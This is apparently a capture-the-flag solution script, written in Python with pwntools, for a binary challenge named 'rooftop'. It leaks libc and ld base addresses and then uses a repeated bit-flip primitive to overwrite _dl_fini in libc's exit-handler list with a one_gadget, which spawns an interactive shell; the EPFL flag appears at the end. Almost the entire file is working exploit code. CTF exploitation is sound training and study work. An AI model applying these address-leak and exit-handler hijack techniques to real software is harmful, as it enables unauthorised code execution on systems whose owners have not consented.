#!/usr/bin/python3
"""
by Leo and a$h
"""
from pwn import *
from sys import argv

e = context.binary = ELF('./rooftop_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if len(argv) > 1:
    ip, port = argv[1].split(":")
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

os.system("cp libc.so.6 /tmp/")

p = conn()

p.send(b"\n"*7)

p.sendlineafter(b"X coordinate: ", hex(0xd80f3).encode())
p.sendlineafter(b"Y coordinate: ", hex(2).encode())

p.sendafter(b"SHOOT", b"\n"*8)

p.recvuntil(b"You start seeing weird symbols.>")
libc.address = p.u64() - libc.sym.read
assert p.recvn(1)==b"\n"
ld.address = p.u64() - 0x36000

log.info("libc: %#x", libc.address)
log.info("ld: %#x", ld.address)

p.send(b"\n"*3)

def shoot(x, y):
    p.sendlineafter(b"X coordinate: ", hex(x).encode())
    p.sendlineafter(b"Y coordinate: ", hex(y).encode())


one_gadget = libc.address + 0xd8131
flips = bin(ld.sym._dl_fini ^ one_gadget)[2:]
print(flips, flips.count("1"))
assert flips.count("1") <= 9

link_map = ld.address + 0x372e0

#gdb.attach(p)
for i, flip in enumerate(flips[::-1]):
    if flip == "0":
        continue
    i = i+0x11
    x = i // 8
    y = i % 8
    shoot(libc.sym.initial+0x18 + x, y)

p.interactive()
# EPFL{-_alive._Corpses_in_your_wake._Breathe.}
